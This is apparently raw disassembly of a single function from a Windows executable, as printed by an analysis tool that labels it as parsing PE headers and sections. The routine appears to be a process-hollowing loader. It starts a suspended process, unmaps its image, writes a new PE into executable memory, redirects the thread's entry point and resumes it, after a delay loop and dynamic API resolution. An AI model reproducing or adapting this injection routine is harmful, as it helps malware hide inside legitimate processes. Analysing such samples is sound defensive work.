Function at 0x403d82
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x37c
mov esi, dword [esp + 0x394]
mov ebx, 0
call fcn.004043b8
cmp eax, 0x714
jne 0x403dac
cmp ebx, 0x714
je 0x403db5
inc ebx
cmp ebx, 0x7a120
jne 0x403d98
lea edx, [esp + 0x31c]
mov ecx, 0x44
mov al, 0
mov edi, edx
rep stosb byte es:[edi], al
mov dword [esp + 0x31c], 0x44
mov dword [esp + 0x50], 0x10007
mov dword [0x411020], esi
cmp word [esi], 0x5a4d
jne 0x4040be
mov edx, dword [esi + 0x3c]
lea eax, [esi + edx]
mov dword [0x411024], eax
cmp dword [eax], 0x4550
jne 0x4040be
mov ebx, dword [0x407008]
mov eax, dword [0x407004]
mov dword [esp], eax
call fcn.00404350
sub esp, 4
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00404358
sub esp, 8
mov edi, eax
mov ebx, dword [0x407010]
mov eax, dword [0x40700c]
mov dword [esp], eax
call fcn.00404350
sub esp, 4
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00404358
sub esp, 8
mov dword [esp + 0x4c], eax
mov ebx, dword [0x407018]
mov eax, dword [0x407004]
mov dword [esp], eax
call fcn.00404350
sub esp, 4
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00404358
sub esp, 8
mov dword [esp + 0x48], eax
mov ebx, dword [0x407020]
mov eax, dword [0x40700c]
mov dword [esp], eax
call fcn.00404350
sub esp, 4
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00404358
sub esp, 8
mov ebp, eax
mov ebx, dword [0x40701c]
mov eax, dword [0x407004]
mov dword [esp], eax
call fcn.00404350
sub esp, 4
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00404358
sub esp, 8
mov dword [esp + 0x44], eax
mov ebx, dword [section..data]
mov eax, dword [0x40700c]
mov dword [esp], eax
call fcn.00404350
sub esp, 4
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00404358
sub esp, 8
mov dword [esp + 0x40], eax
mov ebx, dword [0x407014]
mov eax, dword [0x407004]
mov dword [esp], eax
call fcn.00404350
sub esp, 4
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00404358
sub esp, 8
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x360]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x31c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [esp + 0x390]
mov dword [esp + 4], eax
mov dword [esp], 0
call edi
sub esp, 0x28
mov eax, dword [0x411024]
mov eax, dword [eax + 0x34]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x360]
mov dword [esp], eax
call dword [esp + 0x4c]
sub esp, 8
mov eax, dword [0x411024]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov edx, dword [eax + 0x50]
mov dword [esp + 8], edx
mov eax, dword [eax + 0x34]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x360]
mov dword [esp], eax
call dword [esp + 0x48]
sub esp, 0x14
mov eax, dword [0x411024]
mov dword [esp + 0x10], 0
mov edx, dword [eax + 0x54]
mov dword [esp + 0xc], edx
mov dword [esp + 8], esi
mov eax, dword [eax + 0x34]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x360]
mov dword [esp], eax
call ebp
sub esp, 0x14
mov eax, dword [0x411024]
cmp word [eax + 6], 0
je 0x40406d
mov ebx, 0
mov edi, 0
mov eax, dword [0x411020]
mov eax, dword [eax + 0x3c]
lea eax, [ebx + eax + 0xf8]
lea eax, [esi + eax]
mov dword [0x41102c], eax
mov dword [esp + 0x10], 0
mov edx, dword [eax + 0x10]
mov dword [esp + 0xc], edx
mov edx, esi
add edx, dword [eax + 0x14]
mov dword [esp + 8], edx
mov edx, dword [eax + 0xc]
mov eax, dword [0x411024]
add edx, dword [eax + 0x34]
mov dword [esp + 4], edx
mov eax, dword [esp + 0x360]
mov dword [esp], eax
call ebp
sub esp, 0x14
inc edi
add ebx, 0x28
mov eax, dword [0x411024]
movzx eax, word [eax + 6]
cmp eax, edi
jg 0x40400f
lea ebx, [esp + 0x50]
mov dword [esp + 4], ebx
mov eax, dword [esp + 0x364]
mov dword [esp], eax
call dword [esp + 0x44]
sub esp, 8
mov eax, dword [0x411024]
mov edx, dword [eax + 0x28]
add edx, dword [eax + 0x34]
mov dword [esp + 0x100], edx
mov dword [esp + 4], ebx
mov eax, dword [esp + 0x364]
mov dword [esp], eax
call dword [esp + 0x40]
sub esp, 8
mov eax, dword [esp + 0x364]
mov dword [esp], eax
call dword [esp + 0x3c]
sub esp, 4
add esp, 0x37c
pop ebx
pop esi
pop edi
pop ebp
ret